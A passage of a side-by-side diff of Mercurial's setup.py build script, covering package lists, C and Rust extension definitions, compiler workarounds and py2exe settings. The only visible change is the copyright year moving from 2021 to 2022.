1333
1334 for name in os.listdir(os.path.join('mercurial', 'templates')):
1334 for name in os.listdir(os.path.join('mercurial', 'templates')):
1335 if name != '__pycache__' and os.path.isdir(
1335 if name != '__pycache__' and os.path.isdir(
1336 os.path.join('mercurial', 'templates', name)
1336 os.path.join('mercurial', 'templates', name)
1337 ):
1337 ):
1338 packages.append('mercurial.templates.%s' % name)
1338 packages.append('mercurial.templates.%s' % name)
1339
1339
1340 if sys.version_info[0] == 2:
1340 if sys.version_info[0] == 2:
1341 packages.extend(
1341 packages.extend(
1342 [
1342 [
1343 'mercurial.thirdparty.concurrent',
1343 'mercurial.thirdparty.concurrent',
1344 'mercurial.thirdparty.concurrent.futures',
1344 'mercurial.thirdparty.concurrent.futures',
1345 ]
1345 ]
1346 )
1346 )
1347
1347
1348 if 'HG_PY2EXE_EXTRA_INSTALL_PACKAGES' in os.environ:
1348 if 'HG_PY2EXE_EXTRA_INSTALL_PACKAGES' in os.environ:
1349 # py2exe can't cope with namespace packages very well, so we have to
1349 # py2exe can't cope with namespace packages very well, so we have to
1350 # install any hgext3rd.* extensions that we want in the final py2exe
1350 # install any hgext3rd.* extensions that we want in the final py2exe
1351 # image here. This is gross, but you gotta do what you gotta do.
1351 # image here. This is gross, but you gotta do what you gotta do.
1352 packages.extend(os.environ['HG_PY2EXE_EXTRA_INSTALL_PACKAGES'].split(' '))
1352 packages.extend(os.environ['HG_PY2EXE_EXTRA_INSTALL_PACKAGES'].split(' '))
1353
1353
1354 common_depends = [
1354 common_depends = [
1355 'mercurial/bitmanipulation.h',
1355 'mercurial/bitmanipulation.h',
1356 'mercurial/compat.h',
1356 'mercurial/compat.h',
1357 'mercurial/cext/util.h',
1357 'mercurial/cext/util.h',
1358 ]
1358 ]
1359 common_include_dirs = ['mercurial']
1359 common_include_dirs = ['mercurial']
1360
1360
1361 common_cflags = []
1361 common_cflags = []
1362
1362
1363 # MSVC 2008 still needs declarations at the top of the scope, but Python 3.9
1363 # MSVC 2008 still needs declarations at the top of the scope, but Python 3.9
1364 # makes declarations not at the top of a scope in the headers.
1364 # makes declarations not at the top of a scope in the headers.
1365 if os.name != 'nt' and sys.version_info[1] < 9:
1365 if os.name != 'nt' and sys.version_info[1] < 9:
1366 common_cflags = ['-Werror=declaration-after-statement']
1366 common_cflags = ['-Werror=declaration-after-statement']
1367
1367
1368 osutil_cflags = []
1368 osutil_cflags = []
1369 osutil_ldflags = []
1369 osutil_ldflags = []
1370
1370
1371 # platform specific macros
1371 # platform specific macros
1372 for plat, func in [('bsd', 'setproctitle')]:
1372 for plat, func in [('bsd', 'setproctitle')]:
1373 if re.search(plat, sys.platform) and hasfunction(new_compiler(), func):
1373 if re.search(plat, sys.platform) and hasfunction(new_compiler(), func):
1374 osutil_cflags.append('-DHAVE_%s' % func.upper())
1374 osutil_cflags.append('-DHAVE_%s' % func.upper())
1375
1375
1376 for plat, macro, code in [
1376 for plat, macro, code in [
1377 (
1377 (
1378 'bsd|darwin',
1378 'bsd|darwin',
1379 'BSD_STATFS',
1379 'BSD_STATFS',
1380 '''
1380 '''
1381 #include <sys/param.h>
1381 #include <sys/param.h>
1382 #include <sys/mount.h>
1382 #include <sys/mount.h>
1383 int main() { struct statfs s; return sizeof(s.f_fstypename); }
1383 int main() { struct statfs s; return sizeof(s.f_fstypename); }
1384 ''',
1384 ''',
1385 ),
1385 ),
1386 (
1386 (
1387 'linux',
1387 'linux',
1388 'LINUX_STATFS',
1388 'LINUX_STATFS',
1389 '''
1389 '''
1390 #include <linux/magic.h>
1390 #include <linux/magic.h>
1391 #include <sys/vfs.h>
1391 #include <sys/vfs.h>
1392 int main() { struct statfs s; return sizeof(s.f_type); }
1392 int main() { struct statfs s; return sizeof(s.f_type); }
1393 ''',
1393 ''',
1394 ),
1394 ),
1395 ]:
1395 ]:
1396 if re.search(plat, sys.platform) and cancompile(new_compiler(), code):
1396 if re.search(plat, sys.platform) and cancompile(new_compiler(), code):
1397 osutil_cflags.append('-DHAVE_%s' % macro)
1397 osutil_cflags.append('-DHAVE_%s' % macro)
1398
1398
1399 if sys.platform == 'darwin':
1399 if sys.platform == 'darwin':
1400 osutil_ldflags += ['-framework', 'ApplicationServices']
1400 osutil_ldflags += ['-framework', 'ApplicationServices']
1401
1401
1402 if sys.platform == 'sunos5':
1402 if sys.platform == 'sunos5':
1403 osutil_ldflags += ['-lsocket']
1403 osutil_ldflags += ['-lsocket']
1404
1404
1405 xdiff_srcs = [
1405 xdiff_srcs = [
1406 'mercurial/thirdparty/xdiff/xdiffi.c',
1406 'mercurial/thirdparty/xdiff/xdiffi.c',
1407 'mercurial/thirdparty/xdiff/xprepare.c',
1407 'mercurial/thirdparty/xdiff/xprepare.c',
1408 'mercurial/thirdparty/xdiff/xutils.c',
1408 'mercurial/thirdparty/xdiff/xutils.c',
1409 ]
1409 ]
1410
1410
1411 xdiff_headers = [
1411 xdiff_headers = [
1412 'mercurial/thirdparty/xdiff/xdiff.h',
1412 'mercurial/thirdparty/xdiff/xdiff.h',
1413 'mercurial/thirdparty/xdiff/xdiffi.h',
1413 'mercurial/thirdparty/xdiff/xdiffi.h',
1414 'mercurial/thirdparty/xdiff/xinclude.h',
1414 'mercurial/thirdparty/xdiff/xinclude.h',
1415 'mercurial/thirdparty/xdiff/xmacros.h',
1415 'mercurial/thirdparty/xdiff/xmacros.h',
1416 'mercurial/thirdparty/xdiff/xprepare.h',
1416 'mercurial/thirdparty/xdiff/xprepare.h',
1417 'mercurial/thirdparty/xdiff/xtypes.h',
1417 'mercurial/thirdparty/xdiff/xtypes.h',
1418 'mercurial/thirdparty/xdiff/xutils.h',
1418 'mercurial/thirdparty/xdiff/xutils.h',
1419 ]
1419 ]
1420
1420
1421
1421
1422 class RustCompilationError(CCompilerError):
1422 class RustCompilationError(CCompilerError):
1423 """Exception class for Rust compilation errors."""
1423 """Exception class for Rust compilation errors."""
1424
1424
1425
1425
1426 class RustExtension(Extension):
1426 class RustExtension(Extension):
1427 """Base classes for concrete Rust Extension classes."""
1427 """Base classes for concrete Rust Extension classes."""
1428
1428
1429 rusttargetdir = os.path.join('rust', 'target', 'release')
1429 rusttargetdir = os.path.join('rust', 'target', 'release')
1430
1430
1431 def __init__(self, mpath, sources, rustlibname, subcrate, **kw):
1431 def __init__(self, mpath, sources, rustlibname, subcrate, **kw):
1432 Extension.__init__(self, mpath, sources, **kw)
1432 Extension.__init__(self, mpath, sources, **kw)
1433 srcdir = self.rustsrcdir = os.path.join('rust', subcrate)
1433 srcdir = self.rustsrcdir = os.path.join('rust', subcrate)
1434
1434
1435 # adding Rust source and control files to depends so that the extension
1435 # adding Rust source and control files to depends so that the extension
1436 # gets rebuilt if they've changed
1436 # gets rebuilt if they've changed
1437 self.depends.append(os.path.join(srcdir, 'Cargo.toml'))
1437 self.depends.append(os.path.join(srcdir, 'Cargo.toml'))
1438 cargo_lock = os.path.join(srcdir, 'Cargo.lock')
1438 cargo_lock = os.path.join(srcdir, 'Cargo.lock')
1439 if os.path.exists(cargo_lock):
1439 if os.path.exists(cargo_lock):
1440 self.depends.append(cargo_lock)
1440 self.depends.append(cargo_lock)
1441 for dirpath, subdir, fnames in os.walk(os.path.join(srcdir, 'src')):
1441 for dirpath, subdir, fnames in os.walk(os.path.join(srcdir, 'src')):
1442 self.depends.extend(
1442 self.depends.extend(
1443 os.path.join(dirpath, fname)
1443 os.path.join(dirpath, fname)
1444 for fname in fnames
1444 for fname in fnames
1445 if os.path.splitext(fname)[1] == '.rs'
1445 if os.path.splitext(fname)[1] == '.rs'
1446 )
1446 )
1447
1447
1448 @staticmethod
1448 @staticmethod
1449 def rustdylibsuffix():
1449 def rustdylibsuffix():
1450 """Return the suffix for shared libraries produced by rustc.
1450 """Return the suffix for shared libraries produced by rustc.
1451
1451
1452 See also: https://doc.rust-lang.org/reference/linkage.html
1452 See also: https://doc.rust-lang.org/reference/linkage.html
1453 """
1453 """
1454 if sys.platform == 'darwin':
1454 if sys.platform == 'darwin':
1455 return '.dylib'
1455 return '.dylib'
1456 elif os.name == 'nt':
1456 elif os.name == 'nt':
1457 return '.dll'
1457 return '.dll'
1458 else:
1458 else:
1459 return '.so'
1459 return '.so'
1460
1460
1461 def rustbuild(self):
1461 def rustbuild(self):
1462 env = os.environ.copy()
1462 env = os.environ.copy()
1463 if 'HGTEST_RESTOREENV' in env:
1463 if 'HGTEST_RESTOREENV' in env:
1464 # Mercurial tests change HOME to a temporary directory,
1464 # Mercurial tests change HOME to a temporary directory,
1465 # but, if installed with rustup, the Rust toolchain needs
1465 # but, if installed with rustup, the Rust toolchain needs
1466 # HOME to be correct (otherwise the 'no default toolchain'
1466 # HOME to be correct (otherwise the 'no default toolchain'
1467 # error message is issued and the build fails).
1467 # error message is issued and the build fails).
1468 # This happens currently with test-hghave.t, which does
1468 # This happens currently with test-hghave.t, which does
1469 # invoke this build.
1469 # invoke this build.
1470
1470
1471 # Unix only fix (os.path.expanduser not really reliable if
1471 # Unix only fix (os.path.expanduser not really reliable if
1472 # HOME is shadowed like this)
1472 # HOME is shadowed like this)
1473 import pwd
1473 import pwd
1474
1474
1475 env['HOME'] = pwd.getpwuid(os.getuid()).pw_dir
1475 env['HOME'] = pwd.getpwuid(os.getuid()).pw_dir
1476
1476
1477 cargocmd = ['cargo', 'rustc', '--release']
1477 cargocmd = ['cargo', 'rustc', '--release']
1478
1478
1479 feature_flags = []
1479 feature_flags = []
1480
1480
1481 cargocmd.append('--no-default-features')
1481 cargocmd.append('--no-default-features')
1482 if sys.version_info[0] == 2:
1482 if sys.version_info[0] == 2:
1483 feature_flags.append('python27')
1483 feature_flags.append('python27')
1484 elif sys.version_info[0] == 3:
1484 elif sys.version_info[0] == 3:
1485 feature_flags.append('python3')
1485 feature_flags.append('python3')
1486
1486
1487 rust_features = env.get("HG_RUST_FEATURES")
1487 rust_features = env.get("HG_RUST_FEATURES")
1488 if rust_features:
1488 if rust_features:
1489 feature_flags.append(rust_features)
1489 feature_flags.append(rust_features)
1490
1490
1491 cargocmd.extend(('--features', " ".join(feature_flags)))
1491 cargocmd.extend(('--features', " ".join(feature_flags)))
1492
1492
1493 cargocmd.append('--')
1493 cargocmd.append('--')
1494 if sys.platform == 'darwin':
1494 if sys.platform == 'darwin':
1495 cargocmd.extend(
1495 cargocmd.extend(
1496 ("-C", "link-arg=-undefined", "-C", "link-arg=dynamic_lookup")
1496 ("-C", "link-arg=-undefined", "-C", "link-arg=dynamic_lookup")
1497 )
1497 )
1498 try:
1498 try:
1499 subprocess.check_call(cargocmd, env=env, cwd=self.rustsrcdir)
1499 subprocess.check_call(cargocmd, env=env, cwd=self.rustsrcdir)
1500 except OSError as exc:
1500 except OSError as exc:
1501 if exc.errno == errno.ENOENT:
1501 if exc.errno == errno.ENOENT:
1502 raise RustCompilationError("Cargo not found")
1502 raise RustCompilationError("Cargo not found")
1503 elif exc.errno == errno.EACCES:
1503 elif exc.errno == errno.EACCES:
1504 raise RustCompilationError(
1504 raise RustCompilationError(
1505 "Cargo found, but permission to execute it is denied"
1505 "Cargo found, but permission to execute it is denied"
1506 )
1506 )
1507 else:
1507 else:
1508 raise
1508 raise
1509 except subprocess.CalledProcessError:
1509 except subprocess.CalledProcessError:
1510 raise RustCompilationError(
1510 raise RustCompilationError(
1511 "Cargo failed. Working directory: %r, "
1511 "Cargo failed. Working directory: %r, "
1512 "command: %r, environment: %r"
1512 "command: %r, environment: %r"
1513 % (self.rustsrcdir, cargocmd, env)
1513 % (self.rustsrcdir, cargocmd, env)
1514 )
1514 )
1515
1515
1516
1516
1517 class RustStandaloneExtension(RustExtension):
1517 class RustStandaloneExtension(RustExtension):
1518 def __init__(self, pydottedname, rustcrate, dylibname, **kw):
1518 def __init__(self, pydottedname, rustcrate, dylibname, **kw):
1519 RustExtension.__init__(
1519 RustExtension.__init__(
1520 self, pydottedname, [], dylibname, rustcrate, **kw
1520 self, pydottedname, [], dylibname, rustcrate, **kw
1521 )
1521 )
1522 self.dylibname = dylibname
1522 self.dylibname = dylibname
1523
1523
1524 def build(self, target_dir):
1524 def build(self, target_dir):
1525 self.rustbuild()
1525 self.rustbuild()
1526 target = [target_dir]
1526 target = [target_dir]
1527 target.extend(self.name.split('.'))
1527 target.extend(self.name.split('.'))
1528 target[-1] += DYLIB_SUFFIX
1528 target[-1] += DYLIB_SUFFIX
1529 shutil.copy2(
1529 shutil.copy2(
1530 os.path.join(
1530 os.path.join(
1531 self.rusttargetdir, self.dylibname + self.rustdylibsuffix()
1531 self.rusttargetdir, self.dylibname + self.rustdylibsuffix()
1532 ),
1532 ),
1533 os.path.join(*target),
1533 os.path.join(*target),
1534 )
1534 )
1535
1535
1536
1536
1537 extmodules = [
1537 extmodules = [
1538 Extension(
1538 Extension(
1539 'mercurial.cext.base85',
1539 'mercurial.cext.base85',
1540 ['mercurial/cext/base85.c'],
1540 ['mercurial/cext/base85.c'],
1541 include_dirs=common_include_dirs,
1541 include_dirs=common_include_dirs,
1542 extra_compile_args=common_cflags,
1542 extra_compile_args=common_cflags,
1543 depends=common_depends,
1543 depends=common_depends,
1544 ),
1544 ),
1545 Extension(
1545 Extension(
1546 'mercurial.cext.bdiff',
1546 'mercurial.cext.bdiff',
1547 ['mercurial/bdiff.c', 'mercurial/cext/bdiff.c'] + xdiff_srcs,
1547 ['mercurial/bdiff.c', 'mercurial/cext/bdiff.c'] + xdiff_srcs,
1548 include_dirs=common_include_dirs,
1548 include_dirs=common_include_dirs,
1549 extra_compile_args=common_cflags,
1549 extra_compile_args=common_cflags,
1550 depends=common_depends + ['mercurial/bdiff.h'] + xdiff_headers,
1550 depends=common_depends + ['mercurial/bdiff.h'] + xdiff_headers,
1551 ),
1551 ),
1552 Extension(
1552 Extension(
1553 'mercurial.cext.mpatch',
1553 'mercurial.cext.mpatch',
1554 ['mercurial/mpatch.c', 'mercurial/cext/mpatch.c'],
1554 ['mercurial/mpatch.c', 'mercurial/cext/mpatch.c'],
1555 include_dirs=common_include_dirs,
1555 include_dirs=common_include_dirs,
1556 extra_compile_args=common_cflags,
1556 extra_compile_args=common_cflags,
1557 depends=common_depends,
1557 depends=common_depends,
1558 ),
1558 ),
1559 Extension(
1559 Extension(
1560 'mercurial.cext.parsers',
1560 'mercurial.cext.parsers',
1561 [
1561 [
1562 'mercurial/cext/charencode.c',
1562 'mercurial/cext/charencode.c',
1563 'mercurial/cext/dirs.c',
1563 'mercurial/cext/dirs.c',
1564 'mercurial/cext/manifest.c',
1564 'mercurial/cext/manifest.c',
1565 'mercurial/cext/parsers.c',
1565 'mercurial/cext/parsers.c',
1566 'mercurial/cext/pathencode.c',
1566 'mercurial/cext/pathencode.c',
1567 'mercurial/cext/revlog.c',
1567 'mercurial/cext/revlog.c',
1568 ],
1568 ],
1569 include_dirs=common_include_dirs,
1569 include_dirs=common_include_dirs,
1570 extra_compile_args=common_cflags,
1570 extra_compile_args=common_cflags,
1571 depends=common_depends
1571 depends=common_depends
1572 + [
1572 + [
1573 'mercurial/cext/charencode.h',
1573 'mercurial/cext/charencode.h',
1574 'mercurial/cext/revlog.h',
1574 'mercurial/cext/revlog.h',
1575 ],
1575 ],
1576 ),
1576 ),
1577 Extension(
1577 Extension(
1578 'mercurial.cext.osutil',
1578 'mercurial.cext.osutil',
1579 ['mercurial/cext/osutil.c'],
1579 ['mercurial/cext/osutil.c'],
1580 include_dirs=common_include_dirs,
1580 include_dirs=common_include_dirs,
1581 extra_compile_args=common_cflags + osutil_cflags,
1581 extra_compile_args=common_cflags + osutil_cflags,
1582 extra_link_args=osutil_ldflags,
1582 extra_link_args=osutil_ldflags,
1583 depends=common_depends,
1583 depends=common_depends,
1584 ),
1584 ),
1585 Extension(
1585 Extension(
1586 'mercurial.thirdparty.zope.interface._zope_interface_coptimizations',
1586 'mercurial.thirdparty.zope.interface._zope_interface_coptimizations',
1587 [
1587 [
1588 'mercurial/thirdparty/zope/interface/_zope_interface_coptimizations.c',
1588 'mercurial/thirdparty/zope/interface/_zope_interface_coptimizations.c',
1589 ],
1589 ],
1590 extra_compile_args=common_cflags,
1590 extra_compile_args=common_cflags,
1591 ),
1591 ),
1592 Extension(
1592 Extension(
1593 'mercurial.thirdparty.sha1dc',
1593 'mercurial.thirdparty.sha1dc',
1594 [
1594 [
1595 'mercurial/thirdparty/sha1dc/cext.c',
1595 'mercurial/thirdparty/sha1dc/cext.c',
1596 'mercurial/thirdparty/sha1dc/lib/sha1.c',
1596 'mercurial/thirdparty/sha1dc/lib/sha1.c',
1597 'mercurial/thirdparty/sha1dc/lib/ubc_check.c',
1597 'mercurial/thirdparty/sha1dc/lib/ubc_check.c',
1598 ],
1598 ],
1599 extra_compile_args=common_cflags,
1599 extra_compile_args=common_cflags,
1600 ),
1600 ),
1601 Extension(
1601 Extension(
1602 'hgext.fsmonitor.pywatchman.bser',
1602 'hgext.fsmonitor.pywatchman.bser',
1603 ['hgext/fsmonitor/pywatchman/bser.c'],
1603 ['hgext/fsmonitor/pywatchman/bser.c'],
1604 extra_compile_args=common_cflags,
1604 extra_compile_args=common_cflags,
1605 ),
1605 ),
1606 RustStandaloneExtension(
1606 RustStandaloneExtension(
1607 'mercurial.rustext',
1607 'mercurial.rustext',
1608 'hg-cpython',
1608 'hg-cpython',
1609 'librusthg',
1609 'librusthg',
1610 ),
1610 ),
1611 ]
1611 ]
1612
1612
1613
1613
1614 sys.path.insert(0, 'contrib/python-zstandard')
1614 sys.path.insert(0, 'contrib/python-zstandard')
1615 import setup_zstd
1615 import setup_zstd
1616
1616
1617 zstd = setup_zstd.get_c_extension(
1617 zstd = setup_zstd.get_c_extension(
1618 name='mercurial.zstd', root=os.path.abspath(os.path.dirname(__file__))
1618 name='mercurial.zstd', root=os.path.abspath(os.path.dirname(__file__))
1619 )
1619 )
1620 zstd.extra_compile_args += common_cflags
1620 zstd.extra_compile_args += common_cflags
1621 extmodules.append(zstd)
1621 extmodules.append(zstd)
1622
1622
1623 try:
1623 try:
1624 from distutils import cygwinccompiler
1624 from distutils import cygwinccompiler
1625
1625
1626 # the -mno-cygwin option has been deprecated for years
1626 # the -mno-cygwin option has been deprecated for years
1627 mingw32compilerclass = cygwinccompiler.Mingw32CCompiler
1627 mingw32compilerclass = cygwinccompiler.Mingw32CCompiler
1628
1628
1629 class HackedMingw32CCompiler(cygwinccompiler.Mingw32CCompiler):
1629 class HackedMingw32CCompiler(cygwinccompiler.Mingw32CCompiler):
1630 def __init__(self, *args, **kwargs):
1630 def __init__(self, *args, **kwargs):
1631 mingw32compilerclass.__init__(self, *args, **kwargs)
1631 mingw32compilerclass.__init__(self, *args, **kwargs)
1632 for i in 'compiler compiler_so linker_exe linker_so'.split():
1632 for i in 'compiler compiler_so linker_exe linker_so'.split():
1633 try:
1633 try:
1634 getattr(self, i).remove('-mno-cygwin')
1634 getattr(self, i).remove('-mno-cygwin')
1635 except ValueError:
1635 except ValueError:
1636 pass
1636 pass
1637
1637
1638 cygwinccompiler.Mingw32CCompiler = HackedMingw32CCompiler
1638 cygwinccompiler.Mingw32CCompiler = HackedMingw32CCompiler
1639 except ImportError:
1639 except ImportError:
1640 # the cygwinccompiler package is not available on some Python
1640 # the cygwinccompiler package is not available on some Python
1641 # distributions like the ones from the optware project for Synology
1641 # distributions like the ones from the optware project for Synology
1642 # DiskStation boxes
1642 # DiskStation boxes
1643 class HackedMingw32CCompiler(object):
1643 class HackedMingw32CCompiler(object):
1644 pass
1644 pass
1645
1645
1646
1646
1647 if os.name == 'nt':
1647 if os.name == 'nt':
1648 # Allow compiler/linker flags to be added to Visual Studio builds. Passing
1648 # Allow compiler/linker flags to be added to Visual Studio builds. Passing
1649 # extra_link_args to distutils.extensions.Extension() doesn't have any
1649 # extra_link_args to distutils.extensions.Extension() doesn't have any
1650 # effect.
1650 # effect.
1651 from distutils import msvccompiler
1651 from distutils import msvccompiler
1652
1652
1653 msvccompilerclass = msvccompiler.MSVCCompiler
1653 msvccompilerclass = msvccompiler.MSVCCompiler
1654
1654
1655 class HackedMSVCCompiler(msvccompiler.MSVCCompiler):
1655 class HackedMSVCCompiler(msvccompiler.MSVCCompiler):
1656 def initialize(self):
1656 def initialize(self):
1657 msvccompilerclass.initialize(self)
1657 msvccompilerclass.initialize(self)
1658 # "warning LNK4197: export 'func' specified multiple times"
1658 # "warning LNK4197: export 'func' specified multiple times"
1659 self.ldflags_shared.append('/ignore:4197')
1659 self.ldflags_shared.append('/ignore:4197')
1660 self.ldflags_shared_debug.append('/ignore:4197')
1660 self.ldflags_shared_debug.append('/ignore:4197')
1661
1661
1662 msvccompiler.MSVCCompiler = HackedMSVCCompiler
1662 msvccompiler.MSVCCompiler = HackedMSVCCompiler
1663
1663
1664 packagedata = {
1664 packagedata = {
1665 'mercurial': [
1665 'mercurial': [
1666 'locale/*/LC_MESSAGES/hg.mo',
1666 'locale/*/LC_MESSAGES/hg.mo',
1667 'dummycert.pem',
1667 'dummycert.pem',
1668 ],
1668 ],
1669 'mercurial.defaultrc': [
1669 'mercurial.defaultrc': [
1670 '*.rc',
1670 '*.rc',
1671 ],
1671 ],
1672 'mercurial.helptext': [
1672 'mercurial.helptext': [
1673 '*.txt',
1673 '*.txt',
1674 ],
1674 ],
1675 'mercurial.helptext.internals': [
1675 'mercurial.helptext.internals': [
1676 '*.txt',
1676 '*.txt',
1677 ],
1677 ],
1678 }
1678 }
1679
1679
1680
1680
1681 def ordinarypath(p):
1681 def ordinarypath(p):
1682 return p and p[0] != '.' and p[-1] != '~'
1682 return p and p[0] != '.' and p[-1] != '~'
1683
1683
1684
1684
1685 for root in ('templates',):
1685 for root in ('templates',):
1686 for curdir, dirs, files in os.walk(os.path.join('mercurial', root)):
1686 for curdir, dirs, files in os.walk(os.path.join('mercurial', root)):
1687 packagename = curdir.replace(os.sep, '.')
1687 packagename = curdir.replace(os.sep, '.')
1688 packagedata[packagename] = list(filter(ordinarypath, files))
1688 packagedata[packagename] = list(filter(ordinarypath, files))
1689
1689
1690 datafiles = []
1690 datafiles = []
1691
1691
1692 # distutils expects version to be str/unicode. Converting it to
1692 # distutils expects version to be str/unicode. Converting it to
1693 # unicode on Python 2 still works because it won't contain any
1693 # unicode on Python 2 still works because it won't contain any
1694 # non-ascii bytes and will be implicitly converted back to bytes
1694 # non-ascii bytes and will be implicitly converted back to bytes
1695 # when operated on.
1695 # when operated on.
1696 assert isinstance(version, str)
1696 assert isinstance(version, str)
1697 setupversion = version
1697 setupversion = version
1698
1698
1699 extra = {}
1699 extra = {}
1700
1700
1701 py2exepackages = [
1701 py2exepackages = [
1702 'hgdemandimport',
1702 'hgdemandimport',
1703 'hgext3rd',
1703 'hgext3rd',
1704 'hgext',
1704 'hgext',
1705 'email',
1705 'email',
1706 # implicitly imported per module policy
1706 # implicitly imported per module policy
1707 # (cffi wouldn't be used as a frozen exe)
1707 # (cffi wouldn't be used as a frozen exe)
1708 'mercurial.cext',
1708 'mercurial.cext',
1709 #'mercurial.cffi',
1709 #'mercurial.cffi',
1710 'mercurial.pure',
1710 'mercurial.pure',
1711 ]
1711 ]
1712
1712
1713 py2exe_includes = []
1713 py2exe_includes = []
1714
1714
1715 py2exeexcludes = []
1715 py2exeexcludes = []
1716 py2exedllexcludes = ['crypt32.dll']
1716 py2exedllexcludes = ['crypt32.dll']
1717
1717
1718 if issetuptools:
1718 if issetuptools:
1719 extra['python_requires'] = supportedpy
1719 extra['python_requires'] = supportedpy
1720
1720
1721 if py2exeloaded:
1721 if py2exeloaded:
1722 extra['console'] = [
1722 extra['console'] = [
1723 {
1723 {
1724 'script': 'hg',
1724 'script': 'hg',
1725 'copyright': 'Copyright (C) 2005-2021 Olivia Mackall and others',
1725 'copyright': 'Copyright (C) 2005-2022 Olivia Mackall and others',
1726 'product_version': version,
1726 'product_version': version,
1727 }
1727 }
1728 ]
1728 ]
1729 # Sub command of 'build' because 'py2exe' does not handle sub_commands.
1729 # Sub command of 'build' because 'py2exe' does not handle sub_commands.
1730 # Need to override hgbuild because it has a private copy of
1730 # Need to override hgbuild because it has a private copy of
1731 # build.sub_commands.
1731 # build.sub_commands.
1732 hgbuild.sub_commands.insert(0, ('build_hgextindex', None))
1732 hgbuild.sub_commands.insert(0, ('build_hgextindex', None))
1733 # put dlls in sub directory so that they won't pollute PATH
1733 # put dlls in sub directory so that they won't pollute PATH
1734 extra['zipfile'] = 'lib/library.zip'
1734 extra['zipfile'] = 'lib/library.zip'
1735
1735
1736 # We allow some configuration to be supplemented via environment
1736 # We allow some configuration to be supplemented via environment
1737 # variables. This is better than setup.cfg files because it allows
1737 # variables. This is better than setup.cfg files because it allows
1738 # supplementing configs instead of replacing them.
1738 # supplementing configs instead of replacing them.
1739 extrapackages = os.environ.get('HG_PY2EXE_EXTRA_PACKAGES')
1739 extrapackages = os.environ.get('HG_PY2EXE_EXTRA_PACKAGES')
1740 if extrapackages:
1740 if extrapackages:
1741 py2exepackages.extend(extrapackages.split(' '))
1741 py2exepackages.extend(extrapackages.split(' '))
1742
1742
1743 extra_includes = os.environ.get('HG_PY2EXE_EXTRA_INCLUDES')
1743 extra_includes = os.environ.get('HG_PY2EXE_EXTRA_INCLUDES')
1744 if extra_includes:
1744 if extra_includes:
1745 py2exe_includes.extend(extra_includes.split(' '))
1745 py2exe_includes.extend(extra_includes.split(' '))
1746
1746
1747 excludes = os.environ.get('HG_PY2EXE_EXTRA_EXCLUDES')
1747 excludes = os.environ.get('HG_PY2EXE_EXTRA_EXCLUDES')
1748 if excludes:
1748 if excludes:
1749 py2exeexcludes.extend(excludes.split(' '))
1749 py2exeexcludes.extend(excludes.split(' '))
1750
1750
1751 dllexcludes = os.environ.get('HG_PY2EXE_EXTRA_DLL_EXCLUDES')
1751 dllexcludes = os.environ.get('HG_PY2EXE_EXTRA_DLL_EXCLUDES')
1752 if dllexcludes:
1752 if dllexcludes:
1753 py2exedllexcludes.extend(dllexcludes.split(' '))
1753 py2exedllexcludes.extend(dllexcludes.split(' '))
1754
1754
1755 if os.environ.get('PYOXIDIZER'):
1755 if os.environ.get('PYOXIDIZER'):
1756 hgbuild.sub_commands.insert(0, ('build_hgextindex', None))
1756 hgbuild.sub_commands.insert(0, ('build_hgextindex', None))
1757
1757
1758 if os.name == 'nt':
1758 if os.name == 'nt':
1759 # Windows binary file versions for exe/dll files must have the
1759 # Windows binary file versions for exe/dll files must have the
1760 # form W.X.Y.Z, where W,X,Y,Z are numbers in the range 0..65535
1760 # form W.X.Y.Z, where W,X,Y,Z are numbers in the range 0..65535
1761 setupversion = setupversion.split(r'+', 1)[0]
1761 setupversion = setupversion.split(r'+', 1)[0]
1762
1762
1763 if sys.platform == 'darwin' and os.path.exists('/usr/bin/xcodebuild'):
1763 if sys.platform == 'darwin' and os.path.exists('/usr/bin/xcodebuild'):
1764 version = runcmd(['/usr/bin/xcodebuild', '-version'], {})[1].splitlines()
1764 version = runcmd(['/usr/bin/xcodebuild', '-version'], {})[1].splitlines()
1765 if version:
1765 if version:
1766 version = version[0]
1766 version = version[0]
1767 if sys.version_info[0] == 3:
1767 if sys.version_info[0] == 3:
1768 version = version.decode('utf-8')
1768 version = version.decode('utf-8')
1769 xcode4 = version.startswith('Xcode') and StrictVersion(
1769 xcode4 = version.startswith('Xcode') and StrictVersion(
1770 version.split()[1]
1770 version.split()[1]
1771 ) >= StrictVersion('4.0')
1771 ) >= StrictVersion('4.0')
1772 xcode51 = re.match(r'^Xcode\s+5\.1', version) is not None
1772 xcode51 = re.match(r'^Xcode\s+5\.1', version) is not None
1773 else:
1773 else:
1774 # xcodebuild returns empty on OS X Lion with XCode 4.3 not
1774 # xcodebuild returns empty on OS X Lion with XCode 4.3 not
1775 # installed, but instead with only command-line tools. Assume
1775 # installed, but instead with only command-line tools. Assume
1776 # that only happens on >= Lion, thus no PPC support.
1776 # that only happens on >= Lion, thus no PPC support.
1777 xcode4 = True
1777 xcode4 = True
1778 xcode51 = False
1778 xcode51 = False
1779
1779
1780 # XCode 4.0 dropped support for ppc architecture, which is hardcoded in
1780 # XCode 4.0 dropped support for ppc architecture, which is hardcoded in
1781 # distutils.sysconfig
1781 # distutils.sysconfig
1782 if xcode4:
1782 if xcode4:
1783 os.environ['ARCHFLAGS'] = ''
1783 os.environ['ARCHFLAGS'] = ''
1784
1784
1785 # XCode 5.1 changes clang such that it now fails to compile if the
1785 # XCode 5.1 changes clang such that it now fails to compile if the
1786 # -mno-fused-madd flag is passed, but the version of Python shipped with
1786 # -mno-fused-madd flag is passed, but the version of Python shipped with
1787 # OS X 10.9 Mavericks includes this flag. This causes problems in all
1787 # OS X 10.9 Mavericks includes this flag. This causes problems in all
1788 # C extension modules, and a bug has been filed upstream at
1788 # C extension modules, and a bug has been filed upstream at
1789 # http://bugs.python.org/issue21244. We also need to patch this here
1789 # http://bugs.python.org/issue21244. We also need to patch this here
1790 # so Mercurial can continue to compile in the meantime.
1790 # so Mercurial can continue to compile in the meantime.
1791 if xcode51:
1791 if xcode51:
1792 cflags = get_config_var('CFLAGS')
1792 cflags = get_config_var('CFLAGS')
1793 if cflags and re.search(r'-mno-fused-madd\b', cflags) is not None:
1793 if cflags and re.search(r'-mno-fused-madd\b', cflags) is not None:
1794 os.environ['CFLAGS'] = (
1794 os.environ['CFLAGS'] = (
1795 os.environ.get('CFLAGS', '') + ' -Qunused-arguments'
1795 os.environ.get('CFLAGS', '') + ' -Qunused-arguments'
1796 )
1796 )
1797
1797
1798 setup(
1798 setup(
1799 name='mercurial',
1799 name='mercurial',
1800 version=setupversion,
1800 version=setupversion,
1801 author='Olivia Mackall and many others',
1801 author='Olivia Mackall and many others',
1802 author_email='mercurial@mercurial-scm.org',
1802 author_email='mercurial@mercurial-scm.org',
